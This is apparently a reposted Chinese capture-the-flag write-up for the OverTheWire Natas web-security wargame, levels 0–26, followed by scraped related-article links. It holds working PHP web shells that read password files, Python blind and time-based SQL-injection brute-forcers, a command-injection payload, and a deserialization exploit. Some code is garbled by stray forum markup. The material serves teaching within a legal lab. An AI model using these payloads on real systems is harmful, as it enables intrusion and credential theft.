web安全Wargame—Natas解题思路(1-26)
前言:
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
Natas1:
Natas2:
Natas3:
Natas4:
Natas5:
Natas6:
Natas7:
Natas8:
Natas9:
Natas10:
Natas11:
|
01
02
03
04
05
06
07
08
09
10
|
function xor_encrypt($in){ $key = '<censored>'; #预定义参数key $text = $in; #输入参数 $outText = ''; #输出参数 // Iterate through each character for($i=0;$i<strlen($text);$i++) { #for循环,遍历输入参数 $outText .= $text[$i] ^ $key[$i % strlen($key)]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数 } return $outText; #返回加密结果} |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");$data= 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw';function xor_encrypt($in,$out) { $key ='' ; $text = $in; for($i=0;$i<strlen($text);$i++) { $key .= $text[$i] ^ $out[$i]; } return $key;} echo xor_encrypt(json_encode($defaultdata),base64_decode($data)); ?> |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
<?php$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");function xor_encrypt($in) { $key = 'qw8J'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText;}echo base64_encode(xor_encrypt(json_encode($defaultdata)));?> |
Natas12:
|
1
2
3
|
<?phpsystem('cat /etc/natas_webpass/natas13');?> |
Natas13:
|
1
2
3
4
5
|
GIF89a<?phpsystem('cat /etc/natas_webpass/natas14');?> |
Natas14:
Natsa15:
|
1
|
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; |
|
1
2
3
4
|
CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); |
|
1
|
'username':'natas16" AND password LIKE binary "%s"%字符' |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
import requestsurl = "http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php"chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"payload = r'natas16" AND password LIKE binary "%s" #'#使用like模糊查询不会区分大小写,要带上binary。key = "%"while len(key) <= 32: #循环32次 for i in chr: #确定字符 a = key[:-1]+i+key[-1:] print a req = requests.post(url=url,data={'username':payload%a}) if "This user exists" in req.text: key = a print key print key #输出key |
|
1
|
passthru("grep -i \"$key\" dictionary.txt"); |
|
1
|
passthru("grep-i "($grep ^a etc/natas_webpasswd/natas17)wrong \" dictionary.txt"); |
|
01
02
03
04
05
06
07
08
09
10
11
|
import requestskey = ''char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[/color][/font][/align][align=left][font=宋体][color=Black][/color][/font][/align][align=left][font=宋体][color=Black]while len(key) < 32: for i in range(len(char)): payload = {'needle':'$(grep ^'+key+char+'.* /etc/natas_webpass/natas17)wrong','submit':'Search'} req = requests.get(url=url,params=payload) if 'wrong' not in req.text: key += char print key |
Natas17:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
import requests[/color] [color=Black]url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'key =''for i in range(1,33): a = 32 c = 126 while a<c: b = (a+c)/2 payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i) try: req = requests.post(url=url,data={"username":payload},timeout=2) except requests.exceptions.Timeout,e: a=b+1 b=(a+c)/2 continue c=b key +=chr(b) print key |
Natas18:
Natas19:
|
1
2
3
4
5
6
7
|
a = []for i in range(30,40): for j in range(30,40): a.append( '%d%d'%(i,j))with open ("1.txt","w")as f: for i in a: f.write(i+"\n") |
Natas20:
|
1
2
3
4
5
|
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码;if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; |
print "Password: <censored></pre>";[/mw_shl_code]
|
1
2
3
4
5
6
|
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
Natas22:
|
1
2
3
4
5
|
if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } |
|
1
2
3
4
5
6
|
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
|
1
2
3
4
5
6
7
8
|
if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } |
Natas24:
|
01
02
03
04
05
06
07
08
09
10
|
<?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; }} |
Natas25:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
function setLanguage(){ #选择语言 /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] ))#检查输入 return 1; safeinclude("language/en"); }function safeinclude($filename){ #检查输入参数 // check for directory traversal if(strstr($filename,"../")){ #禁止目录遍历 logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ #文件访问控制 logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { #检测目录是否存在 include($filename); return 1; } return 0;}function logRequest($message){ #请求日志 $log="[". date("d.m.Y H::i:s",time()) ."]"; #时间日期 $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];#加http_user_agent $log=$log . " \"" . $message ."\"\n"; #加上message $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); #将日志信息写入文件 fwrite($fd,$log); fclose($fd); } |
Natas26:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
class Logger{ private $logFile; #三个私有参数 private $initMsg; private $exitMsg; function __construct($file){ #类创建时调用 // initialise variables #初始化变量 $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message #写入初始信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ #写入信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ #类销毁时调用 // write exit message #写入退出信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
<?phpclass Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ #注入信息 $this->initMsg=""; $this->exitMsg="<?echo include '/etc/natas_webpass/natas27';?>"; $this->logFile="img/aaa.php"; }}$test = new Logger();echo serialize($test);echo "\n";echo base64_encode(serialize($test)); #显示base64编码后的序列化字符串?> |
END~
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
web安全Wargame—Natas解题思路(1-26)的更多相关文章
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
阿里聚安全攻防挑战赛第三题Android PwnMe解题思路 大家在聚安全挑战赛正式赛第三题中,遇到android app 远程控制的题目.我们今天带你一探究竟,如何攻破这道题目. 一.题目 购物应用 ...
- leetcode array解题思路
Array *532. K-diff Pairs in an Array 方案一:暴力搜索, N平方的时间复杂度,空间复杂度N 数组长度为10000,使用O(N平方)的解法担心TLE,不建议使用,尽管 ...
- MySQL-注释-Navicat基本使用-复杂查询练习题-解题思路-pymysql操作数据库-SQL注入-05
目录 mysql语句注释 navicat 的基本使用 特色(个人总结) 与数据服务器建立连接 创建&打开数据库.表 创建 打开 修改操作表结构 修改表结构 查询修改操作表数据 基本语句对应的操 ...
- 记一次CTF比赛过程与解题思路-MISC部分
前言 最近好久没更新博客和公众号了,有朋友问是不是在憋大招,但我不好意思说其实是因为最近一段时间太懒了,一直在当咸鱼- 意识到很久没更新这个问题,我是想写点什么的,但好像一直当咸鱼也没啥可分享的,最近 ...
- n皇后2种解题思路与代码-Java与C++实现
林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 摘要:本文主要讲了n皇后问题的解题思路,并分别用java和c++实现了过程,最后,对于算法改进 ...
- [LeetCode] 16. 3Sum Closest 解题思路
Given an array S of n integers, find three integers in S such that the sum is closest to a given num ...
- [LeetCode] 234. Palindrome Linked List 解题思路
Given a singly linked list, determine if it is a palindrome. Follow up:Could you do it in O(n) time ...
- [LeetCode] 76. Minimum Window Substring 解题思路
Given a string S and a string T, find the minimum window in S which will contain all the characters ...
- [LeetCode] 3Sum 解题思路
Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all un ...
随机推荐
- Saving custom fields in production order
In additional data screen 1.PPCO0012->EXIT_SAPLCOKO1_001->ZXCO1U11 ci_aufk-zxxx = i_caufvd ...
- MoneyRunner API汇总
MonkeyRunner API 汇总 MonkeyRunner工具主要有三个类: MonkeyRunner MonkeyDevice MonkeyImage 1.MonkeyRunner类: Mon ...
- 观察者模式C#实现实例(一)
1.用例情景 1)定义一个闹钟(目标类),里面我们感兴趣的是时间值times,当times大于9.15时,通知观察者. 2)定义两个观察者,userA,userB,当收到times值时,作出判断,当t ...
- php使用redis的有序集合zset实现延迟队列
延迟队列就是个带延迟功能的消息队列,相对于普通队列,它可以在指定时间消费掉消息. 延迟队列的应用场景: 1.新用户注册,10分钟后发送邮件或站内信. 2.用户下单后,30分钟未支付,订单自动作废. 我 ...
- python读取数据库出txt报表
python出报表使用到了数据库访问,文件读写,字符串切片处理.还可以扩展到电子邮件的发送,异常处理以及定时批任务. 总之在学习中发现还是有蛮多乐趣在其中. #coding=utf-8 ' impor ...
- dos命令 创建数据库,建表,两表联查,三表联查(mysql---第一篇)
首先打开mysql的控制台,输入密码进行登录 (ps:本文的mysql控制台,是运用的php的集成环境(phpstudy),点击运行,找到mysql命令行,直接打开就可以了) 登陆成功后,就可以进行 ...
- python psycopg2 连接pg 建立连接池
# -*- coding: utf-8 -*-from psycopg2.pool import ThreadedConnectionPool,SimpleConnectionPool,Persist ...
- JAVA实训第三次作业
编写"学生"类及其测试类. 5.1 "学生"类: 类名:Student 属性:姓名.性别.年龄.学号.5门课程的成绩 方法1:在控制台输出各个属性的值. 方法2 ...
- java的线程中断
在java中中断线程可以使用interrupt()函数.此函数虽然不能终止线程的运行,但是可以改变线程的状态为true 即:isInterrupted()的值返回为true 注意:当函数调用了已经被阻 ...
- Chapter4_控制执行流程
总结java中所有的与流程控制有关的知识 (1)表达式判断 Java中只允许true或者false来作为判断条件,不允许用0或者非0值作为判断条件. (2)if-else 与流程密切相关的语句,决定了 ...